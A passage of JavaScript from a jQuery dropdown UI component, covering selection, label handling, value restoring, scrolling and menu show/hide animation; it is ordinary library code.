                ? $items.add($userItems)
                : $userItems
              ;
            }
            return $items;
          },
          item: function(value, strict) {
            var
              $selectedItem = false,
              shouldSearch,
              isMultiple
            ;
            value = (value !== undefined)
              ? value
              : ( module.get.values() !== undefined)
                ? module.get.values()
                : module.get.text()
            ;
            shouldSearch = (isMultiple)
              ? (value.length > 0)
              : (value !== undefined && value !== null)
            ;
            isMultiple = (module.is.multiple() && $.isArray(value));
            strict     = (value === '' || value === 0)
              ? true
              : strict || false
            ;
            if(shouldSearch) {
              $item
                .each(function() {
                  var
                    $choice       = $(this),
                    optionText    = module.get.choiceText($choice),
                    optionValue   = module.get.choiceValue($choice, optionText)
                  ;
                  // safe early exit
                  if(optionValue === null || optionValue === undefined) {
                    return;
                  }
                  if(isMultiple) {
                    if($.inArray( String(optionValue), value) !== -1 || $.inArray(optionText, value) !== -1) {
                      $selectedItem = ($selectedItem)
                        ? $selectedItem.add($choice)
                        : $choice
                      ;
                    }
                  }
                  else if(strict) {
                    module.verbose('Ambiguous dropdown value using strict type check', $choice, value);
                    if( optionValue === value || optionText === value) {
                      $selectedItem = $choice;
                      return true;
                    }
                  }
                  else {
                    if( String(optionValue) == String(value) || optionText == value) {
                      module.verbose('Found select item by value', optionValue, value);
                      $selectedItem = $choice;
                      return true;
                    }
                  }
                })
              ;
            }
            return $selectedItem;
          }
        },

        check: {
          maxSelections: function(selectionCount) {
            if(settings.maxSelections) {
              selectionCount = (selectionCount !== undefined)
                ? selectionCount
                : module.get.selectionCount()
              ;
              if(selectionCount >= settings.maxSelections) {
                module.debug('Maximum selection count reached');
                if(settings.useLabels) {
                  $item.addClass(className.filtered);
                  module.add.message(message.maxSelections);
                }
                return true;
              }
              else {
                module.verbose('No longer at maximum selection count');
                module.remove.message();
                module.remove.filteredItem();
                if(module.is.searchSelection()) {
                  module.filterItems();
                }
                return false;
              }
            }
            return true;
          }
        },

        restore: {
          defaults: function() {
            module.clear();
            module.restore.defaultText();
            module.restore.defaultValue();
          },
          defaultText: function() {
            var
              defaultText     = module.get.defaultText(),
              placeholderText = module.get.placeholderText
            ;
            if(defaultText === placeholderText) {
              module.debug('Restoring default placeholder text', defaultText);
              module.set.placeholderText(defaultText);
            }
            else {
              module.debug('Restoring default text', defaultText);
              module.set.text(defaultText);
            }
          },
          placeholderText: function() {
            module.set.placeholderText();
          },
          defaultValue: function() {
            var
              defaultValue = module.get.defaultValue()
            ;
            if(defaultValue !== undefined) {
              module.debug('Restoring default value', defaultValue);
              if(defaultValue !== '') {
                module.set.value(defaultValue);
                module.set.selected();
              }
              else {
                module.remove.activeItem();
                module.remove.selectedItem();
              }
            }
          },
          labels: function() {
            if(settings.allowAdditions) {
              if(!settings.useLabels) {
                module.error(error.labels);
                settings.useLabels = true;
              }
              module.debug('Restoring selected values');
              module.create.userLabels();
            }
            module.check.maxSelections();
          },
          selected: function() {
            module.restore.values();
            if(module.is.multiple()) {
              module.debug('Restoring previously selected values and labels');
              module.restore.labels();
            }
            else {
              module.debug('Restoring previously selected values');
            }
          },
          values: function() {
            // prevents callbacks from occurring on initial load
            module.set.initialLoad();
            if(settings.apiSettings && settings.saveRemoteData && module.get.remoteValues()) {
              module.restore.remoteValues();
            }
            else {
              module.set.selected();
            }
            module.remove.initialLoad();
          },
          remoteValues: function() {
            var
              values = module.get.remoteValues()
            ;
            module.debug('Recreating selected from session data', values);
            if(values) {
              if( module.is.single() ) {
                $.each(values, function(value, name) {
                  module.set.text(name);
                });
              }
              else {
                $.each(values, function(value, name) {
                  module.add.label(value, name);
                });
              }
            }
          }
        },

        read: {
          remoteData: function(value) {
            var
              name
            ;
            if(window.Storage === undefined) {
              module.error(error.noStorage);
              return;
            }
            name = sessionStorage.getItem(value);
            return (name !== undefined)
              ? name
              : false
            ;
          }
        },

        save: {
          defaults: function() {
            module.save.defaultText();
            module.save.placeholderText();
            module.save.defaultValue();
          },
          defaultValue: function() {
            var
              value = module.get.value()
            ;
            module.verbose('Saving default value as', value);
            $module.data(metadata.defaultValue, value);
          },
          defaultText: function() {
            var
              text = module.get.text()
            ;
            module.verbose('Saving default text as', text);
            $module.data(metadata.defaultText, text);
          },
          placeholderText: function() {
            var
              text
            ;
            if(settings.placeholder !== false && $text.hasClass(className.placeholder)) {
              text = module.get.text();
              module.verbose('Saving placeholder text as', text);
              $module.data(metadata.placeholderText, text);
            }
          },
          remoteData: function(name, value) {
            if(window.Storage === undefined) {
              module.error(error.noStorage);
              return;
            }
            module.verbose('Saving remote data to session storage', value, name);
            sessionStorage.setItem(value, name);
          }
        },

        clear: function() {
          if(module.is.multiple() && settings.useLabels) {
            module.remove.labels();
          }
          else {
            module.remove.activeItem();
            module.remove.selectedItem();
          }
          module.set.placeholderText();
          module.clearValue();
        },

        clearValue: function() {
          module.set.value('');
        },

        scrollPage: function(direction, $selectedItem) {
          var
            $currentItem  = $selectedItem || module.get.selectedItem(),
            $menu         = $currentItem.closest(selector.menu),
            menuHeight    = $menu.outerHeight(),
            currentScroll = $menu.scrollTop(),
            itemHeight    = $item.eq(0).outerHeight(),
            itemsPerPage  = Math.floor(menuHeight / itemHeight),
            maxScroll     = $menu.prop('scrollHeight'),
            newScroll     = (direction == 'up')
              ? currentScroll - (itemHeight * itemsPerPage)
              : currentScroll + (itemHeight * itemsPerPage),
            $selectableItem = $item.not(selector.unselectable),
            isWithinRange,
            $nextSelectedItem,
            elementIndex
          ;
          elementIndex      = (direction == 'up')
            ? $selectableItem.index($currentItem) - itemsPerPage
            : $selectableItem.index($currentItem) + itemsPerPage
          ;
          isWithinRange = (direction == 'up')
            ? (elementIndex >= 0)
            : (elementIndex < $selectableItem.length)
          ;
          $nextSelectedItem = (isWithinRange)
            ? $selectableItem.eq(elementIndex)
            : (direction == 'up')
              ? $selectableItem.first()
              : $selectableItem.last()
          ;
          if($nextSelectedItem.length > 0) {
            module.debug('Scrolling page', direction, $nextSelectedItem);
            $currentItem
              .removeClass(className.selected)
            ;
            $nextSelectedItem
              .addClass(className.selected)
            ;
            if(settings.selectOnKeydown && module.is.single()) {
              module.set.selectedItem($nextSelectedItem);
            }
            $menu
              .scrollTop(newScroll)
            ;
          }
        },

        set: {
          filtered: function() {
            var
              isMultiple       = module.is.multiple(),
              isSearch         = module.is.searchSelection(),
              isSearchMultiple = (isMultiple && isSearch),
              searchValue      = (isSearch)
                ? module.get.query()
                : '',
              hasSearchValue   = (typeof searchValue === 'string' && searchValue.length > 0),
              searchWidth      = module.get.searchWidth(),
              valueIsSet       = searchValue !== ''
            ;
            if(isMultiple && hasSearchValue) {
              module.verbose('Adjusting input width', searchWidth, settings.glyphWidth);
              $search.css('width', searchWidth);
            }
            if(hasSearchValue || (isSearchMultiple && valueIsSet)) {
              module.verbose('Hiding placeholder text');
              $text.addClass(className.filtered);
            }
            else if(!isMultiple || (isSearchMultiple && !valueIsSet)) {
              module.verbose('Showing placeholder text');
              $text.removeClass(className.filtered);
            }
          },
          empty: function() {
            $module.addClass(className.empty);
          },
          loading: function() {
            $module.addClass(className.loading);
          },
          placeholderText: function(text) {
            text = text || module.get.placeholderText();
            module.debug('Setting placeholder text', text);
            module.set.text(text);
            $text.addClass(className.placeholder);
          },
          tabbable: function() {
            if( module.has.search() ) {
              module.debug('Added tabindex to searchable dropdown');
              $search
                .val('')
                .attr('tabindex', 0)
              ;
              $menu
                .attr('tabindex', -1)
              ;
            }
            else {
              module.debug('Added tabindex to dropdown');
              if( $module.attr('tabindex') === undefined) {
                $module
                  .attr('tabindex', 0)
                ;
                $menu
                  .attr('tabindex', -1)
                ;
              }
            }
          },
          initialLoad: function() {
            module.verbose('Setting initial load');
            initialLoad = true;
          },
          activeItem: function($item) {
            if( settings.allowAdditions && $item.filter(selector.addition).length > 0 ) {
              $item.addClass(className.filtered);
            }
            else {
              $item.addClass(className.active);
            }
          },
          partialSearch: function(text) {
            var
              length = module.get.query().length
            ;
            $search.val( text.substr(0 , length));
          },
          scrollPosition: function($item, forceScroll) {
            var
              edgeTolerance = 5,
              $menu,
              hasActive,
              offset,
              itemHeight,
              itemOffset,
              menuOffset,
              menuScroll,
              menuHeight,
              abovePage,
              belowPage
            ;

            $item       = $item || module.get.selectedItem();
            $menu       = $item.closest(selector.menu);
            hasActive   = ($item && $item.length > 0);
            forceScroll = (forceScroll !== undefined)
              ? forceScroll
              : false
            ;
            if($item && $menu.length > 0 && hasActive) {
              itemOffset = $item.position().top;

              $menu.addClass(className.loading);
              menuScroll = $menu.scrollTop();
              menuOffset = $menu.offset().top;
              itemOffset = $item.offset().top;
              offset     = menuScroll - menuOffset + itemOffset;
              if(!forceScroll) {
                menuHeight = $menu.height();
                belowPage  = menuScroll + menuHeight < (offset + edgeTolerance);
                abovePage  = ((offset - edgeTolerance) < menuScroll);
              }
              module.debug('Scrolling to active item', offset);
              if(forceScroll || abovePage || belowPage) {
                $menu.scrollTop(offset);
              }
              $menu.removeClass(className.loading);
            }
          },
          text: function(text) {
            if(settings.action !== 'select') {
              if(settings.action == 'combo') {
                module.debug('Changing combo button text', text, $combo);
                if(settings.preserveHTML) {
                  $combo.html(text);
                }
                else {
                  $combo.text(text);
                }
              }
              else {
                if(text !== module.get.placeholderText()) {
                  $text.removeClass(className.placeholder);
                }
                module.debug('Changing text', text, $text);
                $text
                  .removeClass(className.filtered)
                ;
                if(settings.preserveHTML) {
                  $text.html(text);
                }
                else {
                  $text.text(text);
                }
              }
            }
          },
          selectedItem: function($item) {
            var
              value = module.get.choiceValue($item),
              text  = module.get.choiceText($item, false)
            ;
            module.debug('Setting user selection to item', $item);
            module.remove.activeItem();
            module.set.partialSearch(text);
            module.set.activeItem($item);
            module.set.selected(value, $item);
            module.set.text(text);
          },
          selectedLetter: function(letter) {
            var
              $selectedItem         = $item.filter('.' + className.selected),
              alreadySelectedLetter = $selectedItem.length > 0 && module.has.firstLetter($selectedItem, letter),
              $nextValue            = false,
              $nextItem
            ;
            // check next of same letter
            if(alreadySelectedLetter) {
              $nextItem = $selectedItem.nextAll($item).eq(0);
              if( module.has.firstLetter($nextItem, letter) ) {
                $nextValue  = $nextItem;
              }
            }
            // check all values
            if(!$nextValue) {
              $item
                .each(function(){
                  if(module.has.firstLetter($(this), letter)) {
                    $nextValue = $(this);
                    return false;
                  }
                })
              ;
            }
            // set next value
            if($nextValue) {
              module.verbose('Scrolling to next value with letter', letter);
              module.set.scrollPosition($nextValue);
              $selectedItem.removeClass(className.selected);
              $nextValue.addClass(className.selected);
              if(settings.selectOnKeydown && module.is.single()) {
                module.set.selectedItem($nextValue);
              }
            }
          },
          direction: function($menu) {
            if(settings.direction == 'auto') {
              if(module.is.onScreen($menu)) {
                module.remove.upward($menu);
              }
              else {
                module.set.upward($menu);
              }
            }
            else if(settings.direction == 'upward') {
              module.set.upward($menu);
            }
          },
          upward: function($menu) {
            var $element = $menu || $module;
            $element.addClass(className.upward);
          },
          value: function(value, text, $selected) {
            var
              escapedValue = module.escape.value(value),
              hasInput     = ($input.length > 0),
              isAddition   = !module.has.value(value),
              currentValue = module.get.values(),
              stringValue  = (value !== undefined)
                ? String(value)
                : value,
              newValue
            ;
            if(hasInput) {
              if(!settings.allowReselection && stringValue == currentValue) {
                module.verbose('Skipping value update already same value', value, currentValue);
                if(!module.is.initialLoad()) {
                  return;
                }
              }

              if( module.is.single() && module.has.selectInput() && module.can.extendSelect() ) {
                module.debug('Adding user option', value);
                module.add.optionValue(value);
              }
              module.debug('Updating input value', escapedValue, currentValue);
              internalChange = true;
              $input
                .val(escapedValue)
              ;
              if(settings.fireOnInit === false && module.is.initialLoad()) {
                module.debug('Input native change event ignored on initial load');
              }
              else {
                module.trigger.change();
              }
              internalChange = false;
            }
            else {
              module.verbose('Storing value in metadata', escapedValue, $input);
              if(escapedValue !== currentValue) {
                $module.data(metadata.value, stringValue);
              }
            }
            if(settings.fireOnInit === false && module.is.initialLoad()) {
              module.verbose('No callback on initial load', settings.onChange);
            }
            else {
              settings.onChange.call(element, value, text, $selected);
            }
          },
          active: function() {
            $module
              .addClass(className.active)
            ;
          },
          multiple: function() {
            $module.addClass(className.multiple);
          },
          visible: function() {
            $module.addClass(className.visible);
          },
          exactly: function(value, $selectedItem) {
            module.debug('Setting selected to exact values');
            module.clear();
            module.set.selected(value, $selectedItem);
          },
          selected: function(value, $selectedItem) {
            var
              isMultiple = module.is.multiple(),
              $userSelectedItem
            ;
            $selectedItem = (settings.allowAdditions)
              ? $selectedItem || module.get.itemWithAdditions(value)
              : $selectedItem || module.get.item(value)
            ;
            if(!$selectedItem) {
              return;
            }
            module.debug('Setting selected menu item to', $selectedItem);
            if(module.is.multiple()) {
              module.remove.searchWidth();
            }
            if(module.is.single()) {
              module.remove.activeItem();
              module.remove.selectedItem();
            }
            else if(settings.useLabels) {
              module.remove.selectedItem();
            }
            // select each item
            $selectedItem
              .each(function() {
                var
                  $selected      = $(this),
                  selectedText   = module.get.choiceText($selected),
                  selectedValue  = module.get.choiceValue($selected, selectedText),

                  isFiltered     = $selected.hasClass(className.filtered),
                  isActive       = $selected.hasClass(className.active),
                  isUserValue    = $selected.hasClass(className.addition),
                  shouldAnimate  = (isMultiple && $selectedItem.length == 1)
                ;
                if(isMultiple) {
                  if(!isActive || isUserValue) {
                    if(settings.apiSettings && settings.saveRemoteData) {
                      module.save.remoteData(selectedText, selectedValue);
                    }
                    if(settings.useLabels) {
                      module.add.value(selectedValue, selectedText, $selected);
                      module.add.label(selectedValue, selectedText, shouldAnimate);
                      module.set.activeItem($selected);
                      module.filterActive();
                      module.select.nextAvailable($selectedItem);
                    }
                    else {
                      module.add.value(selectedValue, selectedText, $selected);
                      module.set.text(module.add.variables(message.count));
                      module.set.activeItem($selected);
                    }
                  }
                  else if(!isFiltered) {
                    module.debug('Selected active value, removing label');
                    module.remove.selected(selectedValue);
                  }
                }
                else {
                  if(settings.apiSettings && settings.saveRemoteData) {
                    module.save.remoteData(selectedText, selectedValue);
                  }
                  module.set.text(selectedText);
                  module.set.value(selectedValue, selectedText, $selected);
                  $selected
                    .addClass(className.active)
                    .addClass(className.selected)
                  ;
                }
              })
            ;
          }
        },

        add: {
          label: function(value, text, shouldAnimate) {
            var
              $next  = module.is.searchSelection()
                ? $search
                : $text,
              escapedValue = module.escape.value(value),
              $label
            ;
            $label =  $('<a />')
              .addClass(className.label)
              .attr('data-value', escapedValue)
              .html(templates.label(escapedValue, text))
            ;
            $label = settings.onLabelCreate.call($label, escapedValue, text);

            if(module.has.label(value)) {
              module.debug('Label already exists, skipping', escapedValue);
              return;
            }
            if(settings.label.variation) {
              $label.addClass(settings.label.variation);
            }
            if(shouldAnimate === true) {
              module.debug('Animating in label', $label);
              $label
                .addClass(className.hidden)
                .insertBefore($next)
                .transition(settings.label.transition, settings.label.duration)
              ;
            }
            else {
              module.debug('Adding selection label', $label);
              $label
                .insertBefore($next)
              ;
            }
          },
          message: function(message) {
            var
              $message = $menu.children(selector.message),
              html     = settings.templates.message(module.add.variables(message))
            ;
            if($message.length > 0) {
              $message
                .html(html)
              ;
            }
            else {
              $message = $('<div/>')
                .html(html)
                .addClass(className.message)
                .appendTo($menu)
              ;
            }
          },
          optionValue: function(value) {
            var
              escapedValue = module.escape.value(value),
              $option      = $input.find('option[value="' + escapedValue + '"]'),
              hasOption    = ($option.length > 0)
            ;
            if(hasOption) {
              return;
            }
            // temporarily disconnect observer
            module.disconnect.selectObserver();
            if( module.is.single() ) {
              module.verbose('Removing previous user addition');
              $input.find('option.' + className.addition).remove();
            }
            $('<option/>')
              .prop('value', escapedValue)
              .addClass(className.addition)
              .html(value)
              .appendTo($input)
            ;
            module.verbose('Adding user addition as an <option>', value);
            module.observe.select();
          },
          userSuggestion: function(value) {
            var
              $addition         = $menu.children(selector.addition),
              $existingItem     = module.get.item(value),
              alreadyHasValue   = $existingItem && $existingItem.not(selector.addition).length,
              hasUserSuggestion = $addition.length > 0,
              html
            ;
            if(settings.useLabels && module.has.maxSelections()) {
              return;
            }
            if(value === '' || alreadyHasValue) {
              $addition.remove();
              return;
            }
            if(hasUserSuggestion) {
              $addition
                .data(metadata.value, value)
                .data(metadata.text, value)
                .attr('data-' + metadata.value, value)
                .attr('data-' + metadata.text, value)
                .removeClass(className.filtered)
              ;
              if(!settings.hideAdditions) {
                html = settings.templates.addition( module.add.variables(message.addResult, value) );
                $addition
                  .html(html)
                ;
              }
              module.verbose('Replacing user suggestion with new value', $addition);
            }
            else {
              $addition = module.create.userChoice(value);
              $addition
                .prependTo($menu)
              ;
              module.verbose('Adding item choice to menu corresponding with user choice addition', $addition);
            }
            if(!settings.hideAdditions || module.is.allFiltered()) {
              $addition
                .addClass(className.selected)
                .siblings()
                .removeClass(className.selected)
              ;
            }
            module.refreshItems();
          },
          variables: function(message, term) {
            var
              hasCount    = (message.search('{count}') !== -1),
              hasMaxCount = (message.search('{maxCount}') !== -1),
              hasTerm     = (message.search('{term}') !== -1),
              values,
              count,
              query
            ;
            module.verbose('Adding templated variables to message', message);
            if(hasCount) {
              count  = module.get.selectionCount();
              message = message.replace('{count}', count);
            }
            if(hasMaxCount) {
              count  = module.get.selectionCount();
              message = message.replace('{maxCount}', settings.maxSelections);
            }
            if(hasTerm) {
              query   = term || module.get.query();
              message = message.replace('{term}', query);
            }
            return message;
          },
          value: function(addedValue, addedText, $selectedItem) {
            var
              currentValue = module.get.values(),
              newValue
            ;
            if(addedValue === '') {
              module.debug('Cannot select blank values from multiselect');
              return;
            }
            // extend current array
            if($.isArray(currentValue)) {
              newValue = currentValue.concat([addedValue]);
              newValue = module.get.uniqueArray(newValue);
            }
            else {
              newValue = [addedValue];
            }
            // add values
            if( module.has.selectInput() ) {
              if(module.can.extendSelect()) {
                module.debug('Adding value to select', addedValue, newValue, $input);
                module.add.optionValue(addedValue);
              }
            }
            else {
              newValue = newValue.join(settings.delimiter);
              module.debug('Setting hidden input to delimited value', newValue, $input);
            }

            if(settings.fireOnInit === false && module.is.initialLoad()) {
              module.verbose('Skipping onadd callback on initial load', settings.onAdd);
            }
            else {
              settings.onAdd.call(element, addedValue, addedText, $selectedItem);
            }
            module.set.value(newValue, addedValue, addedText, $selectedItem);
            module.check.maxSelections();
          }
        },

        remove: {
          active: function() {
            $module.removeClass(className.active);
          },
          activeLabel: function() {
            $module.find(selector.label).removeClass(className.active);
          },
          empty: function() {
            $module.removeClass(className.empty);
          },
          loading: function() {
            $module.removeClass(className.loading);
          },
          initialLoad: function() {
            initialLoad = false;
          },
          upward: function($menu) {
            var $element = $menu || $module;
            $element.removeClass(className.upward);
          },
          visible: function() {
            $module.removeClass(className.visible);
          },
          activeItem: function() {
            $item.removeClass(className.active);
          },
          filteredItem: function() {
            if(settings.useLabels && module.has.maxSelections() ) {
              return;
            }
            if(settings.useLabels && module.is.multiple()) {
              $item.not('.' + className.active).removeClass(className.filtered);
            }
            else {
              $item.removeClass(className.filtered);
            }
            module.remove.empty();
          },
          optionValue: function(value) {
            var
              escapedValue = module.escape.value(value),
              $option      = $input.find('option[value="' + escapedValue + '"]'),
              hasOption    = ($option.length > 0)
            ;
            if(!hasOption || !$option.hasClass(className.addition)) {
              return;
            }
            // temporarily disconnect observer
            if(selectObserver) {
              selectObserver.disconnect();
              module.verbose('Temporarily disconnecting mutation observer');
            }
            $option.remove();
            module.verbose('Removing user addition as an <option>', escapedValue);
            if(selectObserver) {
              selectObserver.observe($input[0], {
                childList : true,
                subtree   : true
              });
            }
          },
          message: function() {
            $menu.children(selector.message).remove();
          },
          searchWidth: function() {
            $search.css('width', '');
          },
          searchTerm: function() {
            module.verbose('Cleared search term');
            $search.val('');
            module.set.filtered();
          },
          userAddition: function() {
            $item.filter(selector.addition).remove();
          },
          selected: function(value, $selectedItem) {
            $selectedItem = (settings.allowAdditions)
              ? $selectedItem || module.get.itemWithAdditions(value)
              : $selectedItem || module.get.item(value)
            ;

            if(!$selectedItem) {
              return false;
            }

            $selectedItem
              .each(function() {
                var
                  $selected     = $(this),
                  selectedText  = module.get.choiceText($selected),
                  selectedValue = module.get.choiceValue($selected, selectedText)
                ;
                if(module.is.multiple()) {
                  if(settings.useLabels) {
                    module.remove.value(selectedValue, selectedText, $selected);
                    module.remove.label(selectedValue);
                  }
                  else {
                    module.remove.value(selectedValue, selectedText, $selected);
                    if(module.get.selectionCount() === 0) {
                      module.set.placeholderText();
                    }
                    else {
                      module.set.text(module.add.variables(message.count));
                    }
                  }
                }
                else {
                  module.remove.value(selectedValue, selectedText, $selected);
                }
                $selected
                  .removeClass(className.filtered)
                  .removeClass(className.active)
                ;
                if(settings.useLabels) {
                  $selected.removeClass(className.selected);
                }
              })
            ;
          },
          selectedItem: function() {
            $item.removeClass(className.selected);
          },
          value: function(removedValue, removedText, $removedItem) {
            var
              values = module.get.values(),
              newValue
            ;
            if( module.has.selectInput() ) {
              module.verbose('Input is <select> removing selected option', removedValue);
              newValue = module.remove.arrayValue(removedValue, values);
              module.remove.optionValue(removedValue);
            }
            else {
              module.verbose('Removing from delimited values', removedValue);
              newValue = module.remove.arrayValue(removedValue, values);
              newValue = newValue.join(settings.delimiter);
            }
            if(settings.fireOnInit === false && module.is.initialLoad()) {
              module.verbose('No callback on initial load', settings.onRemove);
            }
            else {
              settings.onRemove.call(element, removedValue, removedText, $removedItem);
            }
            module.set.value(newValue, removedText, $removedItem);
            module.check.maxSelections();
          },
          arrayValue: function(removedValue, values) {
            if( !$.isArray(values) ) {
              values = [values];
            }
            values = $.grep(values, function(value){
              return (removedValue != value);
            });
            module.verbose('Removed value from delimited string', removedValue, values);
            return values;
          },
          label: function(value, shouldAnimate) {
            var
              $labels       = $module.find(selector.label),
              $removedLabel = $labels.filter('[data-value="' + value +'"]')
            ;
            module.verbose('Removing label', $removedLabel);
            $removedLabel.remove();
          },
          activeLabels: function($activeLabels) {
            $activeLabels = $activeLabels || $module.find(selector.label).filter('.' + className.active);
            module.verbose('Removing active label selections', $activeLabels);
            module.remove.labels($activeLabels);
          },
          labels: function($labels) {
            $labels = $labels || $module.find(selector.label);
            module.verbose('Removing labels', $labels);
            $labels
              .each(function(){
                var
                  $label      = $(this),
                  value       = $label.data(metadata.value),
                  stringValue = (value !== undefined)
                    ? String(value)
                    : value,
                  isUserValue = module.is.userValue(stringValue)
                ;
                if(settings.onLabelRemove.call($label, value) === false) {
                  module.debug('Label remove callback cancelled removal');
                  return;
                }
                module.remove.message();
                if(isUserValue) {
                  module.remove.value(stringValue);
                  module.remove.label(stringValue);
                }
                else {
                  // selected will also remove label
                  module.remove.selected(stringValue);
                }
              })
            ;
          },
          tabbable: function() {
            if( module.has.search() ) {
              module.debug('Searchable dropdown initialized');
              $search
                .removeAttr('tabindex')
              ;
              $menu
                .removeAttr('tabindex')
              ;
            }
            else {
              module.debug('Simple selection dropdown initialized');
              $module
                .removeAttr('tabindex')
              ;
              $menu
                .removeAttr('tabindex')
              ;
            }
          }
        },

        has: {
          menuSearch: function() {
            return (module.has.search() && $search.closest($menu).length > 0);
          },
          search: function() {
            return ($search.length > 0);
          },
          sizer: function() {
            return ($sizer.length > 0);
          },
          selectInput: function() {
            return ( $input.is('select') );
          },
          minCharacters: function(searchTerm) {
            if(settings.minCharacters) {
              searchTerm = (searchTerm !== undefined)
                ? String(searchTerm)
                : String(module.get.query())
              ;
              return (searchTerm.length >= settings.minCharacters);
            }
            return true;
          },
          firstLetter: function($item, letter) {
            var
              text,
              firstLetter
            ;
            if(!$item || $item.length === 0 || typeof letter !== 'string') {
              return false;
            }
            text        = module.get.choiceText($item, false);
            letter      = letter.toLowerCase();
            firstLetter = String(text).charAt(0).toLowerCase();
            return (letter == firstLetter);
          },
          input: function() {
            return ($input.length > 0);
          },
          items: function() {
            return ($item.length > 0);
          },
          menu: function() {
            return ($menu.length > 0);
          },
          message: function() {
            return ($menu.children(selector.message).length !== 0);
          },
          label: function(value) {
            var
              escapedValue = module.escape.value(value),
              $labels      = $module.find(selector.label)
            ;
            return ($labels.filter('[data-value="' + escapedValue +'"]').length > 0);
          },
          maxSelections: function() {
            return (settings.maxSelections && module.get.selectionCount() >= settings.maxSelections);
          },
          allResultsFiltered: function() {
            var
              $normalResults = $item.not(selector.addition)
            ;
            return ($normalResults.filter(selector.unselectable).length === $normalResults.length);
          },
          userSuggestion: function() {
            return ($menu.children(selector.addition).length > 0);
          },
          query: function() {
            return (module.get.query() !== '');
          },
          value: function(value) {
            var
              values   = module.get.values(),
              hasValue = $.isArray(values)
               ? values && ($.inArray(value, values) !== -1)
               : (values == value)
            ;
            return (hasValue)
              ? true
              : false
            ;
          }
        },

        is: {
          active: function() {
            return $module.hasClass(className.active);
          },
          bubbledLabelClick: function(event) {
            return $(event.target).is('select, input') && $module.closest('label').length > 0;
          },
          bubbledIconClick: function(event) {
            return $(event.target).closest($icon).length > 0;
          },
          alreadySetup: function() {
            return ($module.is('select') && $module.parent(selector.dropdown).length > 0  && $module.prev().length === 0);
          },
          animating: function($subMenu) {
            return ($subMenu)
              ? $subMenu.transition && $subMenu.transition('is animating')
              : $menu.transition    && $menu.transition('is animating')
            ;
          },
          disabled: function() {
            return $module.hasClass(className.disabled);
          },
          focused: function() {
            return (document.activeElement === $module[0]);
          },
          focusedOnSearch: function() {
            return (document.activeElement === $search[0]);
          },
          allFiltered: function() {
            return( (module.is.multiple() || module.has.search()) && !(settings.hideAdditions == false && module.has.userSuggestion()) && !module.has.message() && module.has.allResultsFiltered() );
          },
          hidden: function($subMenu) {
            return !module.is.visible($subMenu);
          },
          initialLoad: function() {
            return initialLoad;
          },
          onScreen: function($subMenu) {
            var
              $currentMenu   = $subMenu || $menu,
              canOpenDownward = true,
              onScreen = {},
              calculations
            ;
            $currentMenu.addClass(className.loading);
            calculations = {
              context: {
                scrollTop : $context.scrollTop(),
                height    : $context.outerHeight()
              },
              menu : {
                offset: $currentMenu.offset(),
                height: $currentMenu.outerHeight()
              }
            };
            onScreen = {
              above : (calculations.context.scrollTop) <= calculations.menu.offset.top - calculations.menu.height,
              below : (calculations.context.scrollTop + calculations.context.height) >= calculations.menu.offset.top + calculations.menu.height
            };
            if(onScreen.below) {
              module.verbose('Dropdown can fit in context downward', onScreen);
              canOpenDownward = true;
            }
            else if(!onScreen.below && !onScreen.above) {
              module.verbose('Dropdown cannot fit in either direction, favoring downward', onScreen);
              canOpenDownward = true;
            }
            else {
              module.verbose('Dropdown cannot fit below, opening upward', onScreen);
              canOpenDownward = false;
            }
            $currentMenu.removeClass(className.loading);
            return canOpenDownward;
          },
          inObject: function(needle, object) {
            var
              found = false
            ;
            $.each(object, function(index, property) {
              if(property == needle) {
                found = true;
                return true;
              }
            });
            return found;
          },
          multiple: function() {
            return $module.hasClass(className.multiple);
          },
          single: function() {
            return !module.is.multiple();
          },
          selectMutation: function(mutations) {
            var
              selectChanged = false
            ;
            $.each(mutations, function(index, mutation) {
              if(mutation.target && $(mutation.target).is('select')) {
                selectChanged = true;
                return true;
              }
            });
            return selectChanged;
          },
          search: function() {
            return $module.hasClass(className.search);
          },
          searchSelection: function() {
            return ( module.has.search() && $search.parent(selector.dropdown).length === 1 );
          },
          selection: function() {
            return $module.hasClass(className.selection);
          },
          userValue: function(value) {
            return ($.inArray(value, module.get.userValues()) !== -1);
          },
          upward: function($menu) {
            var $element = $menu || $module;
            return $element.hasClass(className.upward);
          },
          visible: function($subMenu) {
            return ($subMenu)
              ? $subMenu.hasClass(className.visible)
              : $menu.hasClass(className.visible)
            ;
          }
        },

        can: {
          activate: function($item) {
            if(settings.useLabels) {
              return true;
            }
            if(!module.has.maxSelections()) {
              return true;
            }
            if(module.has.maxSelections() && $item.hasClass(className.active)) {
              return true;
            }
            return false;
          },
          click: function() {
            return (hasTouch || settings.on == 'click');
          },
          extendSelect: function() {
            return settings.allowAdditions || settings.apiSettings;
          },
          show: function() {
            return !module.is.disabled() && (module.has.items() || module.has.message());
          },
          useAPI: function() {
            return $.fn.api !== undefined;
          }
        },

        animate: {
          show: function(callback, $subMenu) {
            var
              $currentMenu = $subMenu || $menu,
              start = ($subMenu)
                ? function() {}
                : function() {
                  module.hideSubMenus();
                  module.hideOthers();
                  module.set.active();
                },
              transition
            ;
            callback = $.isFunction(callback)
              ? callback
              : function(){}
            ;
            module.verbose('Doing menu show animation', $currentMenu);
            module.set.direction($subMenu);
            transition = module.get.transition($subMenu);
            if( module.is.selection() ) {
              module.set.scrollPosition(module.get.selectedItem(), true);
            }
            if( module.is.hidden($currentMenu) || module.is.animating($currentMenu) ) {
              if(transition == 'none') {
                start();
                $currentMenu.transition('show');
                callback.call(element);
              }
              else if($.fn.transition !== undefined && $module.transition('is supported')) {
                $currentMenu
                  .transition({
                    animation  : transition + ' in',
                    debug      : settings.debug,
                    verbose    : settings.verbose,
                    duration   : settings.duration,
                    queue      : true,
                    onStart    : start,
                    onComplete : function() {
                      callback.call(element);
                    }
                  })
                ;
              }
              else {
                module.error(error.noTransition, transition);
              }
            }
          },
          hide: function(callback, $subMenu) {
            var
              $currentMenu = $subMenu || $menu,
              duration = ($subMenu)
                ? (settings.duration * 0.9)
                : settings.duration,
              start = ($subMenu)
                ? function() {}
                : function() {
                  if( module.can.click() ) {
                    module.unbind.intent();
                  }
                  module.remove.active();
                },
              transition = module.get.transition($subMenu)
            ;
            callback = $.isFunction(callback)
              ? callback
              : function(){}
            ;
            if( module.is.visible($currentMenu) || module.is.animating($currentMenu) ) {
              module.verbose('Doing menu hide animation', $currentMenu);

              if(transition == 'none') {
                start();
                $currentMenu.transition('hide');
                callback.call(element);
              }
              else if($.fn.transition !== undefined && $module.transition('is supported')) {
                $currentMenu
                  .transition({
                    animation  : transition + ' out',
                    duration   : settings.duration,
                    debug      : settings.debug,
                    verbose    : settings.verbose,
                    queue      : true,
                    onStart    : start,
